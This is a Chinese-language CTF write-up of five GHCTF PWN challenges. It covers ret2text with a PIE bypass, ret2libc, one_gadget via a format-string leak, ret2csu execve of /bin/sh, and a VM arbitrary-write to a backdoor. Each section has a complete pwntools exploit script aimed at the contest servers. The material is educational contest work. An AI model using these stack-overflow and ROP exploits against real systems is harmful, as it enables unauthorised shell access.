想说的话:

作为一个练习时长半学期的PWN小萌新, 正好来打打这个GHCTF。看了下主办方说是新生赛,实际上他们面向的对象是练习了一学期的新生,所以有些题看到的第一时间还是比较懵的,不过好在最后成功做出来了5 / 8题,还算可以吧。
PWN学习之路还很长,慢慢坚持就好了。

1.Welcome come to the world of PWN

0x01 前言:

签到题,简单的ret2text和pie

0x02 分析:

check一下:
有pie,上ida看看:
直奔主题,这里可以溢出,再看看有没有可以用的:
发现了后门函数,而且跟main函数是连续的,所以只需要覆盖两个字节就能绕过pie

0x03 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from ctypes import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf=ELF('/mnt/c/Users/Z2023/Desktop/Hello_world/attachment')

choice = 1 #打远程时改成1
if choice:
port=28748
GHCTF='node2.anna.nssctf.cn'
p = remote(GHCTF,port) #打远程时修改ip和端口
else:
p = process('/mnt/c/Users/Z2023/Desktop/Hello_world/attachment')

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
pause()

shell_addr=b'\xC1'+b'\x09'
payload=b'a'*(0x20+8)+shell_addr
sa('Hello pwner!\n',payload)

itr()

2. ret2libc1(常规ret2libc)

0x01 前言:

也算签到题,常规的ret2libc

0x02 分析:

check一下:
ida看看:
一个菜单,分别看看一下发现case 5shop()有溢出点:
接下来就想办法让money满足条件即可,发现利用case 3hell_money()case 7see_it()搭配就可以获得很多money:
剩下的就是常规的ret2libc

0x03 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
from ctypes import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf=ELF('/mnt/c/Users/Z2023/Desktop/ret2libc1/ret2libc1/attachment')
libc=ELF('/mnt/c/Users/Z2023/Desktop/ret2libc1/ret2libc1/libc.so.6')

choice = 1 #打远程时改成1
if choice:
port=28182
GHCTF='node2.anna.nssctf.cn'
p = remote(GHCTF,port) #打远程时修改ip和端口
else:
p = process('/mnt/c/Users/Z2023/Desktop/ret2libc1/ret2libc1/attachment')

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
pause()

sla('6.check youer money\n',b'3')
sl(b'500')
sla('6.check youer money\n',b'7')
sla('How much do you exchange?',b'500000')
sla('6.check youer money\n',b'5')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x0000000000400d73
shop_addr=0x0000000000400B1E
payload=b'a'*(0x40+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(shop_addr)
sla('You can name it!!!\n',payload)

puts_addr=uru64()
#leak('puts_addr')
libc_base=puts_addr-libc.sym['puts']
#leak('libc_base')
system,bin_sh=get_sb()

payload1=b'a'*(0x40+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0xdeadbeef)
sla('You can name it!!!\n',payload1)

itr()

3. ret2libc2(one_gadget利用)

0x01 前言:

是还没见过的题目,本来以为又是一题常规ret2libc,但是用ROPgadget找了一下发现没有pop rdi用,只能从libc文件里下手了…

0x02 分析:

chekcsec:
上ida看看:
程序中没有找到system和binsh,看起来就是很简单的ret2libc,但是正想通过ROPgadget找pop rdi的时候发现根本没有。回想一下题目描述应该是用one_gadget来解决。
printf的参数是[rbp+format],而且这里有字符串格式化漏洞,我们开gdb看看:
居然是[rbp-0x10]那么我们可以利用程序的read函数来覆盖rbp然后再ret到lea这里,利用printf打印出我们想要的东西,这里利用的是.bss段上的stderr:
这里就可以构造出第一段payload:

1
2
3
print_addr=0x0000000000401223
payload=b'a'*(0x30)+p64(0x404090)+p64(print_addr)
sla('show your magic\n',payload)

正常来说这里会输出stderr的地址,但要得到libc的基地址我们还需要一些额外的东西,跟正常的ret2libc一样我们还需要一个偏移,这里虽然stderr的地址是一直在变的,但它和libc的基地址的偏移是始终不变的,我们直接开gdb看一下把他们的地址拿出来算libc的基地址:以这里为例子我们可以看到printf打印出来的地址是0x7fa0da0fc6a0,接着我们在gdb中输入vmmap即可看到这次动调的libc的基地址:
可以看到这次动调的libc的基地址为0x7fa0d9ede000,直接用来计算即可:

1
libc_base=uru64()-0x7fa0da0fc6a0+0x7fa0d9ee1000

接下来对题目给的libc文件使用one_gadget即可:

1
one_gadget libc.so.6

找到能对应满足条件的即可,笔者这里选择了这个:
使用ROPgadget找了一下:
至于可写的地址,选.bss段上的即可:
0000000000404000开始都是可以用的,要素齐全,开始构造第二段payload:

1
2
3
one=libc_os(0xebce2)
r12_r13=libc_os(0x0000000000041c48)
payload=b'a'*0x30+flat(0x404500,r12_r13,0,0,one)

0x03 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from ctypes import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf=ELF('/mnt/c/Users/Z2023/Desktop/ret2libc2/ret2libc2/ret2libc2')
libc=ELF('/mnt/c/Users/Z2023/Desktop/ret2libc2/ret2libc2/libc.so.6')

choice = 1 #打远程时改成1
if choice:
port=28364
buu='node5.buuoj.cn'
nss='node4.anna.nssctf.cn'
GHCTF='node2.anna.nssctf.cn'
polar='1.95.36.136'
india='chals1.apoorvctf.xyz'
p = remote(GHCTF,port) #打远程时修改ip和端口
else:
p = process('/mnt/c/Users/Z2023/Desktop/ret2libc2/ret2libc2/ret2libc2')

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
pause()

# debug()

print_addr=0x0000000000401223
payload=b'a'*(0x30-0x10)+b'b'*0x10+p64(0x404090)+p64(print_addr)
# debug()
sla('show your magic\n',payload)

libc_base=uru64()-0x7fb5c028e6a0+0x7fb5c0073000
leak('libc_base')


one=libc_os(0xebce2)
r12_r13=libc_os(0x0000000000041c48)
payload=p64(0)*6+flat(0x404500,r12_r13,0,0,one)

sla('show your magic\n',payload)

itr()

4. 真会布置栈吗?(ret2csu)

0x01 前言:

又是小弟没见过的题目,找了一下这种题目叫做ret2csu,主要是通过题目中给出的gadget,把各个寄存器设置成对应的数值,最后触发syscall

0x02 分析:

check:
看到nx没开还以为能用shellcraft直接秒,看来还是想多了,直接上ida:
调用了自己写的print函数,貌似中间夹带了一点私货,跑一跑运行一下:
应该是这串: 接收一下看看:

1
2
3
4
debug()
msg=ru(b'\xe2\x95')
msg=u64(msg[-10:-2])
leak('msg')

那这样的话我们就得到了栈地址,接下来只要想想怎么触发系统调用就好了,继续看看程序里面有什么可以利用的。在start函数这里往上翻一翻发现了:
利用这些对寄存器的操作,达成我们的目标:
首先是利用xchg rax,r13rax设置成59(0x3b):

1
2
3
4
gadget = 0x401017
exchange=0X000000000040100C
deadcode=0xdeadbeef
shell=flat(gadget,deadcode,0,59,exchange)

在一开始read的时候就已经覆盖掉rsp了:
所以执行完exchange之后还是会回到gadget这里,继续布置我们的payload,接下来我们可以利用dispatcher去我们想去的地方。
由于NX保护没开,我们可以通过构造payload来跳转到我们想去的地方,这一步选择了先把rdx置0,配合jmp r15可以去到想去的地方,同时选了stack_addr+0x200,写入/bin/sh\x00

1
2
3
4
shell+=flat(gadget,deadcode,stack_addr+0x200,0,dispatch)
shell=xxxx
shell=shell.ljust(0x200,b'\x00')
shell+=flat(xor_rdx)+b'/bin/sh\x00'

payload中间还需要填入东西,所以暂时先放着,置0后jmp r15,也就是回到dispatch。这时候dispatch会对rbx进行+8的操作,也就是指向了我们刚刚构造的stack_addr+0x200+8, 这样我们要补全一下上面构造的payload,让它跳回来gadget这:

1
2
3
4
shell+=flat(gadget,deadcode,stack_addr+0x200,0,dispatch)
shell=xxxx
shell=shell.ljust(0x200,b'\x00')
shell+=flat(xor_rdx,gadget)+b'/bin/sh\x00'

剩下的一段payload我们只需要让rdi指向我们刚刚填入的/bin/sh\x00以及令rsi也为0,最后jmp到sycall即可
这里是syscall,剩下就简单了。

0x03 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from ctypes import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf=ELF('/mnt/c/Users/Z2023/Desktop/ret/attachment')

choice = 1 #打远程时改成1
if choice:
port=28534
GHCTF='node2.anna.nssctf.cn'
p = remote(GHCTF,port) #打远程时修改ip和端口
else:
p = process('/mnt/c/Users/Z2023/Desktop/ret/attachment')

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
pause()

debug()
msg=ru(b'\xe2\x95')
msg=u64(msg[-10:-2])

stack_addr=msg-0x20
leak('stack_addr')
dispatch=0x401011
syscall=0x40100A
gadget = 0x401017
xor_rdx=0x401021
exchange=0X000000000040100C
deadcode=0xdeadbeef
shell=flat(gadget,deadcode,0,59,exchange)
shell+=flat(gadget,deadcode,stack_addr+0x200,0,dispatch)
shell+= flat(0,stack_addr+0x200+3*8,deadcode,deadcode,syscall)


shell=shell.ljust(0x200,b'\x00')
shell+=flat(xor_rdx,gadget)+b'/bin/sh\x00'
sla('>> ',shell)

itr()

my_vm (vm_pwn)

0x01 前言:

小弟的第一题vm pwn,题目整体不难,但是是第一次接触这类题目所以在构造exp的时候花了很多时间。于是就经常产生自认为exp没问题实际打不通的情况,主要还是调调调!必须要多多利用gdb,不要在脑子里跑汇编

0x02 分析:

checksec:
小弟当时看到有canary就开始慌了,但不要紧,先上ida看看:
大概搜索了一下,前面的输入都是vm pwn的固定格式,可能稍有不同,至于这些会有什么用,之后会有提到。可以看一下gets的视频 vmpwn入门1 或者找一些vm pwn的wp来看。
现在首要条件是保证程序能够执行到35行这里的循环:

1
2
3
4
5
for ( i = 0; i < v6; ++i )
{
v8 = fetch();
execute(v8);
}

我们跟进fetch()看看:
相当于从memory[]中循环提取出东西,应该是配合前面for循环输入,然后执行到fetch()循环提取出参数传入execute(),可以简单看看上面的输入输入到哪去了:
正好是写到memory上了,所以按道理来说我们一开始的IP应该是输入0,这样才能确保程序执行到这里的时候能正常得到参数,继续跟进execute():
可以看到这里对传入的参数做一个处理,具体作用可以看题目附件给的gift.png:
先继续往下看
这里实际上就是判断传入的参数的高八位,不同的数字对应不同的指令,这里全部的指令实际上是在模仿计算机的寄存器操作,我们可以把指令表先抄下来方便后续操作:

1
2
3
4
5
6
7
8
9
10
11
操作码|操作数1|操作数2|操作数3
op |num1 |num2 |num3
0x40: reg[v2] = reg[v4] + reg[v3] | add指令
0x60: reg[num1] = reg[num3]^reg[num2] | 异或指令
0x70: reg[v2] = reg[v3] >> reg[v4] | 右移指令
0x80: reg[v2] = reg[v3] << reg[v4] | 左移指令
0x50: reg[v2] = reg[v3] - reg[v4] | sub指令
0x20: stack[dword_642108] = reg[v2] | push指令
0x30: reg[v2] = stack[dword_642108] | pop指令
0x90: memory[reg[v2]] = reg[v3] | mov memory reg 指令
0x10:reg[v2] = a1 | set指令

怎么使用,这里举个例子,假如我传入的是0x50010203,从gift可以看出每八位二进制数对应一个区间,也就是每两位16进制数对应一个区间,这里的0x50010203对应的指令可以这样理解:

1
2
3
0x50对应sub指令
后面的010203对应的是
reg[01]=reg[02]-reg[03]

理解了这里之后我们可以回看指令表,这里有一条指令十分有问题:

1
0x90: memory[reg[v2]] = reg[v3] | mov memory reg 指令

因为没对memory的下标进行限制,那么我们可以通过这条指令实现任意地址写,我们再回到程序中看看有什么可以利用的地方:
可以看到指令都执行完了之后会调用这个函数,双击跟进一下:
发现它就在memory的上面,同时程序中自带了backdoor函数:
那么目标就明确了,只要通过0x90: memory[reg[v2]] = reg[v3] | mov memory reg 指令来把funcptr这里的数据写成backdoor函数的地址就好了,这里来简单模拟一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
'''
mov r0 0
mov r1 0x8
r2 = r0 - r1
mov r3 0x8
mov r5 0x4008
r6 =[r5] 左移 [r3]
# r6 现在应该是 0x400800
mov r7 0x77
r8 = r6 + r7
# r8 现在应该是 0x400877
memory[-0x8h(-32)] = [r8]
'''

为什么是往memory[-0x8]上写呢,这是因为这里memory是int类型数组,一个下标对应4个字节。举个例子,假如memory的起始地址是0x6020E0,那么memory[1]对应的地址则是0x6020E4,所以我们要往memory[-0x8]上写入。对应要传入的数字则是:

1
code_list=[ 0x10000000, 0x10010008, 0x50020001, 0x10030008, 0x10044008, 0x80050403, 0x10060077, 0x40070605, 0x90020700 ]

这里一共用到了9条指令,前面的How much code do you want to execve:输入9就可以了

0x03 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
from ctypes import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf=ELF('/mnt/c/Users/Z2023/Desktop/my_vm/my_vm')
# libc=ELF('/mnt/c/Users/Z2023/Desktop/ret2libc2/ret2libc2/libc.so.6')

choice = 1 #打远程时改成1
if choice:
port=28929
GHCTF='node1.anna.nssctf.cn'
p = remote(GHCTF,port) #打远程时修改ip和端口
else:
p = process('/mnt/c/Users/Z2023/Desktop/my_vm/my_vm')

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
pause()

# debug()
# SP不重要,随便发什么都可以
sla('set your IP:',b'0')
sla('set your SP:',str(111))
#构造了多少条指令就发多少
sla('How much code do you want to execve:',b'9')

code_list=[
0x10000000,
0x10010008,
0x50020001,
0x10030008,
0x10044008,
0x80050403,
0x10060077,
0x40070605,
0x90020700
]
'''
mov r0 0
mov r1 0x8
r2 = r0 - r1
mov r3 0x8
mov r4 0x4008
r5 = [r4] << [r3]
# r5 现在应该是 0x400800
mov r6 0x77
r7 = r6 + r5
# r7 现在应该是 0x400877
memory[-0x8] = [r7]
'''
for i in code_list:
sleep(0.1)
sl(str(i))

itr()